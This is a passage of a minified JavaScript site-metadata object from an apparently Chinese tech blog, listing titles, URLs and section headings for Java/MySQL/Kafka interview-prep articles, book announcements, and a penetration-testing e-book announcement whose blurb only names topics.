urce-读取文件"},{level:3,title:"通过SqlSessionFactoryBuilder创建SqlSessionFactory",slug:"通过sqlsessionfactorybuilder创建sqlsessionfactory"},{level:2,title:"SqlSessionFactory的创建",slug:"sqlsessionfactory的创建"},{level:2,title:"SqlSession会话的创建过程",slug:"sqlsession会话的创建过程"},{level:3,title:"创建Transaction(两种方式)",slug:"创建transaction-两种方式"},{level:3,title:"创建Executor",slug:"创建executor"},{level:2,title:"获得Mapper对象",slug:"获得mapper对象"},{level:2,title:"执行SQL",slug:"执行sql"},{level:3,title:"调用invoke代理方法",slug:"调用invoke代理方法"},{level:3,title:"调用execute方法",slug:"调用execute方法"},{level:3,title:"调用selectOne其实是selectList",slug:"调用selectone其实是selectlist"},{level:3,title:"执行query方法",slug:"执行query方法"},{level:2,title:"源码总结",slug:"源码总结"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"面试必问 | 哪些场景下Spring的事务会失效?",frontmatter:{layout:"post",category:"binghe-code-interview",title:"面试必问 | 哪些场景下Spring的事务会失效?",tagline:"by 冰河",tag:["offer","interview","binghe-code-offer","binghe-code-interview"],excerpt:"在日常工作中,如果对Spring的事务管理功能使用不当,则会造成Spring事务不生效的问题。而针对Spring事务不生效的问题,也是在跳槽面试中被问的比较频繁的一个问题。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"面试必问 | 哪些场景下Spring的事务会失效?"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/interview/2022-05-06-%E9%9D%A2%E8%AF%95%E5%BF%85%E9%97%AE-%E5%93%AA%E4%BA%9B%E5%9C%BA%E6%99%AF%E4%B8%8BSpring%E7%9A%84%E4%BA%8B%E5%8A%A1%E4%BC%9A%E5%A4%B1%E6%95%88.html"},{name:"twitter:title",content:"面试必问 | 哪些场景下Spring的事务会失效?"},{name:"twitter:url",content:"/md/interview/2022-05-06-%E9%9D%A2%E8%AF%95%E5%BF%85%E9%97%AE-%E5%93%AA%E4%BA%9B%E5%9C%BA%E6%99%AF%E4%B8%8BSpring%E7%9A%84%E4%BA%8B%E5%8A%A1%E4%BC%9A%E5%A4%B1%E6%95%88.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/interview/2022-05-06-%E9%9D%A2%E8%AF%95%E5%BF%85%E9%97%AE-%E5%93%AA%E4%BA%9B%E5%9C%BA%E6%99%AF%E4%B8%8BSpring%E7%9A%84%E4%BA%8B%E5%8A%A1%E4%BC%9A%E5%A4%B1%E6%95%88.html",relativePath:"md/interview/2022-05-06-面试必问-哪些场景下Spring的事务会失效.md",key:"v-e8824390",path:"/md/interview/2022-05-06-%E9%9D%A2%E8%AF%95%E5%BF%85%E9%97%AE-%E5%93%AA%E4%BA%9B%E5%9C%BA%E6%99%AF%E4%B8%8BSpring%E7%9A%84%E4%BA%8B%E5%8A%A1%E4%BC%9A%E5%A4%B1%E6%95%88.html",headers:[{level:2,title:"Spring事务不生效总览",slug:"spring事务不生效总览"},{level:2,title:"数据库不支持事务",slug:"数据库不支持事务"},{level:2,title:"事务方法未被Spring管理",slug:"事务方法未被spring管理"},{level:2,title:"方法没有被public修饰",slug:"方法没有被public修饰"},{level:2,title:"同一类中方法调用",slug:"同一类中方法调用"},{level:2,title:"未配置事务管理器",slug:"未配置事务管理器"},{level:2,title:"方法的事务传播类型不支持事务",slug:"方法的事务传播类型不支持事务"},{level:2,title:"不正确的捕获异常",slug:"不正确的捕获异常"},{level:2,title:"错误的标注异常类型",slug:"错误的标注异常类型"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"面试必问 | 如何设计一款高并发的消息中间件?",frontmatter:{layout:"post",category:"binghe-code-interview",title:"面试必问 | 如何设计一款高并发的消息中间件?",tagline:"by 冰河",tag:["offer","interview","binghe-code-offer","binghe-code-interview"],excerpt:"很多小伙伴去大厂面试,几乎都会遇到一些开放式的题目,这些开放式的题目没有固定的答案,但是它能够实实在在的体现面试者较为真实的系统设计能力和技术功底。如果你回答的比较完美,那么,通过这种开放式题目,就能够让你从众多的面试者中脱颖而出。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"面试必问 | 如何设计一款高并发的消息中间件?"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/interview/2022-05-06-%E9%9D%A2%E8%AF%95%E5%BF%85%E9%97%AE-%E5%A6%82%E4%BD%95%E8%AE%BE%E8%AE%A1%E4%B8%80%E6%AC%BE%E9%AB%98%E5%B9%B6%E5%8F%91%E7%9A%84%E6%B6%88%E6%81%AF%E4%B8%AD%E9%97%B4%E4%BB%B6.html"},{name:"twitter:title",content:"面试必问 | 如何设计一款高并发的消息中间件?"},{name:"twitter:url",content:"/md/interview/2022-05-06-%E9%9D%A2%E8%AF%95%E5%BF%85%E9%97%AE-%E5%A6%82%E4%BD%95%E8%AE%BE%E8%AE%A1%E4%B8%80%E6%AC%BE%E9%AB%98%E5%B9%B6%E5%8F%91%E7%9A%84%E6%B6%88%E6%81%AF%E4%B8%AD%E9%97%B4%E4%BB%B6.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/interview/2022-05-06-%E9%9D%A2%E8%AF%95%E5%BF%85%E9%97%AE-%E5%A6%82%E4%BD%95%E8%AE%BE%E8%AE%A1%E4%B8%80%E6%AC%BE%E9%AB%98%E5%B9%B6%E5%8F%91%E7%9A%84%E6%B6%88%E6%81%AF%E4%B8%AD%E9%97%B4%E4%BB%B6.html",relativePath:"md/interview/2022-05-06-面试必问-如何设计一款高并发的消息中间件.md",key:"v-1bf8b330",path:"/md/interview/2022-05-06-%E9%9D%A2%E8%AF%95%E5%BF%85%E9%97%AE-%E5%A6%82%E4%BD%95%E8%AE%BE%E8%AE%A1%E4%B8%80%E6%AC%BE%E9%AB%98%E5%B9%B6%E5%8F%91%E7%9A%84%E6%B6%88%E6%81%AF%E4%B8%AD%E9%97%B4%E4%BB%B6.html",headers:[{level:2,title:"消息中间件涉及的知识点",slug:"消息中间件涉及的知识点"},{level:2,title:"生产者消费者模型",slug:"生产者消费者模型"},{level:2,title:"支持分布式架构",slug:"支持分布式架构"},{level:2,title:"数据的高可用",slug:"数据的高可用"},{level:2,title:"消息数据不丢失",slug:"消息数据不丢失"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"面试必问 | 聊聊MySQL三大核心日志的实现原理?",frontmatter:{layout:"post",category:"binghe-code-interview",title:"面试必问 | 聊聊MySQL三大核心日志的实现原理?",tagline:"by 冰河",tag:["offer","interview","binghe-code-offer","binghe-code-interview"],excerpt:"MySQL几乎成为互联网行业使用的最多的开源关系型数据库,正因如此,MySQL也成为各大互联网公司面试中必问的数据库,尤其是MySQL中的事务实现机制和三大核心日志的实现原理。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"面试必问 | 聊聊MySQL三大核心日志的实现原理?"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/interview/2022-05-09-%E9%9D%A2%E8%AF%95%E5%BF%85%E9%97%AE-%E8%81%8A%E8%81%8AMySQL%E4%B8%89%E5%A4%A7%E6%A0%B8%E5%BF%83%E6%97%A5%E5%BF%97%E7%9A%84%E5%AE%9E%E7%8E%B0%E5%8E%9F%E7%90%86.html"},{name:"twitter:title",content:"面试必问 | 聊聊MySQL三大核心日志的实现原理?"},{name:"twitter:url",content:"/md/interview/2022-05-09-%E9%9D%A2%E8%AF%95%E5%BF%85%E9%97%AE-%E8%81%8A%E8%81%8AMySQL%E4%B8%89%E5%A4%A7%E6%A0%B8%E5%BF%83%E6%97%A5%E5%BF%97%E7%9A%84%E5%AE%9E%E7%8E%B0%E5%8E%9F%E7%90%86.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/interview/2022-05-09-%E9%9D%A2%E8%AF%95%E5%BF%85%E9%97%AE-%E8%81%8A%E8%81%8AMySQL%E4%B8%89%E5%A4%A7%E6%A0%B8%E5%BF%83%E6%97%A5%E5%BF%97%E7%9A%84%E5%AE%9E%E7%8E%B0%E5%8E%9F%E7%90%86.html",relativePath:"md/interview/2022-05-09-面试必问-聊聊MySQL三大核心日志的实现原理.md",key:"v-0c4438a8",path:"/md/interview/2022-05-09-%E9%9D%A2%E8%AF%95%E5%BF%85%E9%97%AE-%E8%81%8A%E8%81%8AMySQL%E4%B8%89%E5%A4%A7%E6%A0%B8%E5%BF%83%E6%97%A5%E5%BF%97%E7%9A%84%E5%AE%9E%E7%8E%B0%E5%8E%9F%E7%90%86.html",headers:[{level:2,title:"MySQL日志",slug:"mysql日志"},{level:2,title:"Undo Log日志",slug:"undo-log日志"},{level:3,title:"什么是Undo Log",slug:"什么是undo-log"},{level:3,title:"Undo Log作用",slug:"undo-log作用"},{level:2,title:"Redo Log日志",slug:"redo-log日志"},{level:3,title:"什么是Redo Log",slug:"什么是redo-log"},{level:3,title:"Redo Log的原理",slug:"redo-log的原理"},{level:3,title:"Redo Log的写机制",slug:"redo-log的写机制"},{level:3,title:"Redo Log写入机制",slug:"redo-log写入机制"},{level:2,title:"Binlog日志",slug:"binlog日志"},{level:3,title:"什么是Binlog",slug:"什么是binlog"},{level:3,title:"Binlog文件记录模式",slug:"binlog文件记录模式"},{level:3,title:"Binlog文件结构",slug:"binlog文件结构"},{level:3,title:"Binlog写机制",slug:"binlog写机制"},{level:3,title:"Binlog文件操作",slug:"binlog文件操作"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"面试必问 | 聊聊Kafka的消费模型?",frontmatter:{layout:"post",category:"binghe-code-interview",title:"面试必问 | 聊聊Kafka的消费模型?",tagline:"by 冰河",tag:["offer","interview","binghe-code-offer","binghe-code-interview"],excerpt:"最近,有些读者去头条二面,被面试官问了一个关于Kafka的问题:**多个Kafka消费者如何同时消费相同Topic下的相同Partition的数据?** 看似一个简单的问题,竟然把这位读者问懵了!",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"面试必问 | 聊聊Kafka的消费模型?"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/interview/2022-05-16-%E9%9D%A2%E8%AF%95%E5%BF%85%E9%97%AE-%E8%81%8A%E8%81%8AKafka%E7%9A%84%E6%B6%88%E8%B4%B9%E6%A8%A1%E5%9E%8B.html"},{name:"twitter:title",content:"面试必问 | 聊聊Kafka的消费模型?"},{name:"twitter:url",content:"/md/interview/2022-05-16-%E9%9D%A2%E8%AF%95%E5%BF%85%E9%97%AE-%E8%81%8A%E8%81%8AKafka%E7%9A%84%E6%B6%88%E8%B4%B9%E6%A8%A1%E5%9E%8B.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/interview/2022-05-16-%E9%9D%A2%E8%AF%95%E5%BF%85%E9%97%AE-%E8%81%8A%E8%81%8AKafka%E7%9A%84%E6%B6%88%E8%B4%B9%E6%A8%A1%E5%9E%8B.html",relativePath:"md/interview/2022-05-16-面试必问-聊聊Kafka的消费模型.md",key:"v-386e3242",path:"/md/interview/2022-05-16-%E9%9D%A2%E8%AF%95%E5%BF%85%E9%97%AE-%E8%81%8A%E8%81%8AKafka%E7%9A%84%E6%B6%88%E8%B4%B9%E6%A8%A1%E5%9E%8B.html",headers:[{level:2,title:"题目分析",slug:"题目分析"},{level:2,title:"扩展知识",slug:"扩展知识"},{level:2,title:"题目解答",slug:"题目解答"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"面试必问 | 一个线程从创建到消亡要经历哪些阶段",frontmatter:{layout:"post",category:"binghe-code-interview",title:"面试必问 | 一个线程从创建到消亡要经历哪些阶段",tagline:"by 冰河",tag:["offer","interview","binghe-code-offer","binghe-code-interview"],excerpt:"一个线程从创建到消亡要经历哪些阶段?",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"面试必问 | 一个线程从创建到消亡要经历哪些阶段"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/interview/2022-07-25-%E9%9D%A2%E8%AF%95%E5%BF%85%E9%97%AE-%E4%B8%80%E4%B8%AA%E7%BA%BF%E7%A8%8B%E4%BB%8E%E5%88%9B%E5%BB%BA%E5%88%B0%E6%B6%88%E4%BA%A1%E8%A6%81%E7%BB%8F%E5%8E%86%E5%93%AA%E4%BA%9B%E9%98%B6%E6%AE%B5.html"},{name:"twitter:title",content:"面试必问 | 一个线程从创建到消亡要经历哪些阶段"},{name:"twitter:url",content:"/md/interview/2022-07-25-%E9%9D%A2%E8%AF%95%E5%BF%85%E9%97%AE-%E4%B8%80%E4%B8%AA%E7%BA%BF%E7%A8%8B%E4%BB%8E%E5%88%9B%E5%BB%BA%E5%88%B0%E6%B6%88%E4%BA%A1%E8%A6%81%E7%BB%8F%E5%8E%86%E5%93%AA%E4%BA%9B%E9%98%B6%E6%AE%B5.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/interview/2022-07-25-%E9%9D%A2%E8%AF%95%E5%BF%85%E9%97%AE-%E4%B8%80%E4%B8%AA%E7%BA%BF%E7%A8%8B%E4%BB%8E%E5%88%9B%E5%BB%BA%E5%88%B0%E6%B6%88%E4%BA%A1%E8%A6%81%E7%BB%8F%E5%8E%86%E5%93%AA%E4%BA%9B%E9%98%B6%E6%AE%B5.html",relativePath:"md/interview/2022-07-25-面试必问-一个线程从创建到消亡要经历哪些阶段.md",key:"v-7c0d6cec",path:"/md/interview/2022-07-25-%E9%9D%A2%E8%AF%95%E5%BF%85%E9%97%AE-%E4%B8%80%E4%B8%AA%E7%BA%BF%E7%A8%8B%E4%BB%8E%E5%88%9B%E5%BB%BA%E5%88%B0%E6%B6%88%E4%BA%A1%E8%A6%81%E7%BB%8F%E5%8E%86%E5%93%AA%E4%BA%9B%E9%98%B6%E6%AE%B5.html",headers:[{level:2,title:"通用的线程生命周期",slug:"通用的线程生命周期"},{level:3,title:"初始状态",slug:"初始状态"},{level:3,title:"可运行状态",slug:"可运行状态"},{level:3,title:"运行状态",slug:"运行状态"},{level:3,title:"休眠状态",slug:"休眠状态"},{level:3,title:"终止状态",slug:"终止状态"},{level:2,title:"Java中的线程生命周期",slug:"java中的线程生命周期"},{level:3,title:"RUNNABLE与BLOCKED的状态转换",slug:"runnable与blocked的状态转换"},{level:3,title:"RUNNABLE与WAITING状态转换",slug:"runnable与waiting状态转换"},{level:3,title:"RUNNABLE与TIMED_WAITING状态转换",slug:"runnable与timed-waiting状态转换"},{level:3,title:"从NEW到RUNNABLE状态",slug:"从new到runnable状态"},{level:3,title:"RUNNABLE到TERMINATED状态",slug:"runnable到terminated状态"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"面试必问|悲观锁与乐观锁",frontmatter:{layout:"post",category:"binghe-code-interview",title:"面试必问|悲观锁与乐观锁",tagline:"by 冰河",tag:["offer","interview","binghe-code-offer","binghe-code-interview"],excerpt:"何谓悲观锁与乐观锁?",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"面试必问|悲观锁与乐观锁"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/interview/2022-09-26-%E9%9D%A2%E8%AF%95%E5%BF%85%E9%97%AE%E6%82%B2%E8%A7%82%E9%94%81%E4%B8%8E%E4%B9%90%E8%A7%82%E9%94%81.html"},{name:"twitter:title",content:"面试必问|悲观锁与乐观锁"},{name:"twitter:url",content:"/md/interview/2022-09-26-%E9%9D%A2%E8%AF%95%E5%BF%85%E9%97%AE%E6%82%B2%E8%A7%82%E9%94%81%E4%B8%8E%E4%B9%90%E8%A7%82%E9%94%81.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/interview/2022-09-26-%E9%9D%A2%E8%AF%95%E5%BF%85%E9%97%AE%E6%82%B2%E8%A7%82%E9%94%81%E4%B8%8E%E4%B9%90%E8%A7%82%E9%94%81.html",relativePath:"md/interview/2022-09-26-面试必问悲观锁与乐观锁.md",key:"v-3307b331",path:"/md/interview/2022-09-26-%E9%9D%A2%E8%AF%95%E5%BF%85%E9%97%AE%E6%82%B2%E8%A7%82%E9%94%81%E4%B8%8E%E4%B9%90%E8%A7%82%E9%94%81.html",headers:[{level:2,title:"何谓悲观锁与乐观锁",slug:"何谓悲观锁与乐观锁"},{level:2,title:"悲观锁",slug:"悲观锁"},{level:2,title:"乐观锁",slug:"乐观锁"},{level:2,title:"两种锁的使用场景",slug:"两种锁的使用场景"},{level:2,title:"乐观锁常见的两种实现方式",slug:"乐观锁常见的两种实现方式"},{level:3,title:"版本号机制",slug:"版本号机制"},{level:3,title:"CAS 算法",slug:"cas-算法"},{level:2,title:"乐观锁的缺点",slug:"乐观锁的缺点"},{level:3,title:"ABA 问题",slug:"aba-问题"},{level:3,title:"循环时间长开销大",slug:"循环时间长开销大"},{level:3,title:"只能保证一个共享变量的原子操作",slug:"只能保证一个共享变量的原子操作"},{level:2,title:"CAS 与 synchronized 的使用情景",slug:"cas-与-synchronized-的使用情景"},{level:2,title:"加群交流",slug:"加群交流"},{level:2,title:"公众号",slug:"公众号"},{level:2,title:"星球",slug:"星球"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"关于我",frontmatter:{meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"关于我"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/interview/default.html"},{name:"twitter:title",content:"关于我"},{name:"twitter:url",content:"/md/interview/default.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/interview/default.html",relativePath:"md/interview/default.md",key:"v-7e6d8b4a",path:"/md/interview/default.html",lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"久等了,冰河的《MySQL技术大全:开发、优化与运维实战》终于出版了",frontmatter:{layout:"post",category:"binghe-code-life",title:"久等了,冰河的《MySQL技术大全:开发、优化与运维实战》终于出版了",tagline:"by 冰河",tag:["mysql","binghe-code-life"],excerpt:"截至到今天终于能给粉丝一个交代了,700多页的MySQL技术大全图书,基于MySQL8.x,兼容MySQL5.x,以实战内容为主,涵盖MySQL基础、开发、优化、运维和架构的知识,系统的介绍了MySQL的各项技术细节。可以这么说,系统的学习MySQL,这一本书就够了。全书的内容对于实际工作来说,有直接的帮助作用,尤其是环境搭建篇、MySQL优化篇、MySQL维护篇和MySQL架构篇的内容,可直接应用于实际工作中。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"久等了,冰河的《MySQL技术大全:开发、优化与运维实战》终于出版了"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/knowledge/book/2022-03-29-MySQL%E6%8A%80%E6%9C%AF%E5%A4%A7%E5%85%A8.html"},{name:"twitter:title",content:"久等了,冰河的《MySQL技术大全:开发、优化与运维实战》终于出版了"},{name:"twitter:url",content:"/md/knowledge/book/2022-03-29-MySQL%E6%8A%80%E6%9C%AF%E5%A4%A7%E5%85%A8.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/knowledge/book/2022-03-29-MySQL%E6%8A%80%E6%9C%AF%E5%A4%A7%E5%85%A8.html",relativePath:"md/knowledge/book/2022-03-29-MySQL技术大全.md",key:"v-44f67bd4",path:"/md/knowledge/book/2022-03-29-MySQL%E6%8A%80%E6%9C%AF%E5%A4%A7%E5%85%A8.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"书籍介绍",slug:"书籍介绍"},{level:2,title:"冰河目前在干啥?",slug:"冰河目前在干啥"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"久等了,冰河的《海量数据处理与大数据技术实战》终于出版了",frontmatter:{layout:"post",category:"binghe-code-life",title:"久等了,冰河的《海量数据处理与大数据技术实战》终于出版了",tagline:"by 冰河",tag:["bigdata","binghe-code-life"],excerpt:"截至到今天终于能给粉丝一个交代了,500多页的大数据实战技术图书,总结了冰河多年实际工作过程中的大数据处理经验,书中的案例稍加改造即可应用到实际的工作场景。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"久等了,冰河的《海量数据处理与大数据技术实战》终于出版了"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/knowledge/book/2022-03-29-%E6%B5%B7%E9%87%8F%E6%95%B0%E6%8D%AE%E5%A4%84%E7%90%86%E4%B8%8E%E5%A4%A7%E6%95%B0%E6%8D%AE%E6%8A%80%E6%9C%AF%E5%AE%9E%E6%88%98.html"},{name:"twitter:title",content:"久等了,冰河的《海量数据处理与大数据技术实战》终于出版了"},{name:"twitter:url",content:"/md/knowledge/book/2022-03-29-%E6%B5%B7%E9%87%8F%E6%95%B0%E6%8D%AE%E5%A4%84%E7%90%86%E4%B8%8E%E5%A4%A7%E6%95%B0%E6%8D%AE%E6%8A%80%E6%9C%AF%E5%AE%9E%E6%88%98.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/knowledge/book/2022-03-29-%E6%B5%B7%E9%87%8F%E6%95%B0%E6%8D%AE%E5%A4%84%E7%90%86%E4%B8%8E%E5%A4%A7%E6%95%B0%E6%8D%AE%E6%8A%80%E6%9C%AF%E5%AE%9E%E6%88%98.html",relativePath:"md/knowledge/book/2022-03-29-海量数据处理与大数据技术实战.md",key:"v-1fa998b0",path:"/md/knowledge/book/2022-03-29-%E6%B5%B7%E9%87%8F%E6%95%B0%E6%8D%AE%E5%A4%84%E7%90%86%E4%B8%8E%E5%A4%A7%E6%95%B0%E6%8D%AE%E6%8A%80%E6%9C%AF%E5%AE%9E%E6%88%98.html",headers:[{level:2,title:"我是如何持续写作的?",slug:"我是如何持续写作的"},{level:2,title:"遇见CSDN",slug:"遇见csdn"},{level:2,title:"出版图书",slug:"出版图书"},{level:2,title:"关于书籍",slug:"关于书籍"},{level:2,title:"重磅福利",slug:"重磅福利"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"久等了,冰河的《深入理解分布式事务:原理与实战》终于出版了",frontmatter:{layout:"post",category:"binghe-code-life",title:"久等了,冰河的《深入理解分布式事务:原理与实战》终于出版了",tagline:"by 冰河",tag:["bigdata","binghe-code-life"],excerpt:"截至到今天终于能给粉丝一个交代了,互联网行业首部全面系统的介绍分布式事务的书籍,从实际需求出发,全面且细致地介绍了有关分布式事务的基础知识、解决方案、实现原理和源码实战。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"久等了,冰河的《深入理解分布式事务:原理与实战》终于出版了"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/knowledge/book/2022-03-29-%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3%E5%88%86%E5%B8%83%E5%BC%8F%E4%BA%8B%E5%8A%A1.html"},{name:"twitter:title",content:"久等了,冰河的《深入理解分布式事务:原理与实战》终于出版了"},{name:"twitter:url",content:"/md/knowledge/book/2022-03-29-%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3%E5%88%86%E5%B8%83%E5%BC%8F%E4%BA%8B%E5%8A%A1.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/knowledge/book/2022-03-29-%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3%E5%88%86%E5%B8%83%E5%BC%8F%E4%BA%8B%E5%8A%A1.html",relativePath:"md/knowledge/book/2022-03-29-深入理解分布式事务.md",key:"v-5ae51930",path:"/md/knowledge/book/2022-03-29-%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3%E5%88%86%E5%B8%83%E5%BC%8F%E4%BA%8B%E5%8A%A1.html",headers:[{level:2,title:"1本书特色",slug:"_1本书特色"},{level:3,title:"5个维度展开,分布式事务从0到100",slug:"_5个维度展开-分布式事务从0到100"},{level:3,title:"大量图解和开发案例,学习事半功倍",slug:"大量图解和开发案例-学习事半功倍"},{level:2,title:"2本书主要内容",slug:"_2本书主要内容"},{level:2,title:"3读者对象",slug:"_3读者对象"},{level:2,title:"4作者简介",slug:"_4作者简介"},{level:2,title:"5专家推荐",slug:"_5专家推荐"},{level:2,title:"6目录",slug:"_6目录"},{level:2,title:"7实拍图",slug:"_7实拍图"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"《深入理解高并发编程:核心原理与案例实战》出版啦",frontmatter:{layout:"post",category:"binghe-code-life",title:"《深入理解高并发编程:核心原理与案例实战》出版啦",tagline:"by 冰河",tag:["bigdata","binghe-code-life"],excerpt:"今天,给大家隆重的宣布一个好消息:继出版《海量数据处理与大数据技术实战》、《MySQL技术大全:开发、优化与运维实战》和《深入理解分布式事务:原理与实战》之后,冰河的第4本书——《深入理解高并发编程:核心原理与案例实战》正式上市了。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"《深入理解高并发编程:核心原理与案例实战》出版啦"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/knowledge/book/2022-06-17-%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3%E9%AB%98%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B.html"},{name:"twitter:title",content:"《深入理解高并发编程:核心原理与案例实战》出版啦"},{name:"twitter:url",content:"/md/knowledge/book/2022-06-17-%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3%E9%AB%98%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/knowledge/book/2022-06-17-%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3%E9%AB%98%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B.html",relativePath:"md/knowledge/book/2022-06-17-深入理解高并发编程.md",key:"v-5e051c56",path:"/md/knowledge/book/2022-06-17-%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3%E9%AB%98%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B.html",headers:[{level:2,title:"写作背景",slug:"写作背景"},{level:2,title:"全书结构",slug:"全书结构"},{level:2,title:"本书特色",slug:"本书特色"},{level:2,title:"本书阅读答疑",slug:"本书阅读答疑"},{level:2,title:"强大的专家阵容推荐",slug:"强大的专家阵容推荐"},{level:2,title:"如何购买本书",slug:"如何购买本书"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{frontmatter:{meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/knowledge/knowledge.html"},{name:"twitter:url",content:"/md/knowledge/knowledge.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/knowledge/knowledge.html",relativePath:"md/knowledge/knowledge.md",key:"v-26c9f6a7",path:"/md/knowledge/knowledge.html",lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"《冰河的渗透实战笔记》电子书,442页,37万字,正式发布",frontmatter:{layout:"post",category:"interview",title:"《冰河的渗透实战笔记》电子书,442页,37万字,正式发布",tagline:"by 冰河",tag:["hack","interview"],excerpt:"全网首个开源的以实战案例为背景的渗透实战笔记,全书共442页,共计37万字(不计空格),整本书的内容涵盖:Kali基础、渗透工具、木马制作、钓鱼链接生成、爆破密码、内存溢出攻击、web渗透、数据提权、社会工程学。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"《冰河的渗透实战笔记》电子书,442页,37万字,正式发布"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/knowledge/pdf/2022-03-30-%E3%80%8A%E5%86%B0%E6%B2%B3%E7%9A%84%E6%B8%97%E9%80%8F%E5%AE%9E%E6%88%98%E7%AC%94%E8%AE%B0%E3%80%8B%E7%94%B5%E5%AD%90%E4%B9%A6%EF%BC%8C442%E9%A1%B5%EF%BC%8C37%E4%B8%87%E5%AD%97%EF%BC%8C%E6%AD%A3%E5%BC%8F%E5%8F%91%E5%B8%83.html"},{name:"twitter:title",content:"《冰河的渗透实战笔记》电子书,442页,37万字,正式发布"},{name:"twitter:url",content:"/md/knowledge/pdf/2022-03-30-%E3%80%8A%E5%86%B0%E6%B2%B3%E7%9A%84%E6%B8%97%E9%80%8F%E5%AE%9E%E6%88%98%E7%AC%94%E8%AE%B0%E3%80%8B%E7%94%B5%E5%AD%90%E4%B9%A6%EF%BC%8C442%E9%A1%B5%EF%BC%8C37%E4%B8%87%E5%AD%97%EF%BC%8C%E6%AD%A3%E5%BC%8F%E5%8F%91%E5%B8%83.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/knowledge/pdf/2022-03-30-%E3%80%8A%E5%86%B0%E6%B2%B3%E7%9A%84%E6%B8%97%E9%80%8F%E5%AE%9E%E6%88%98%E7%AC%94%E8%AE%B0%E3%80%8B%E7%94%B5%E5%AD%90%E4%B9%A6%EF%BC%8C442%E9%A1%B5%EF%BC%8C37%E4%B8%87%E5%AD%97%EF%BC%8C%E6%AD%A3%E5%BC%8F%E5%8F%91%E5%B8%83.html",relativePath:"md/knowledge/pdf/2022-03-30-《冰河的渗透实战笔记》电子书,442页,37万字,正式发布.md",key:"v-9ac4c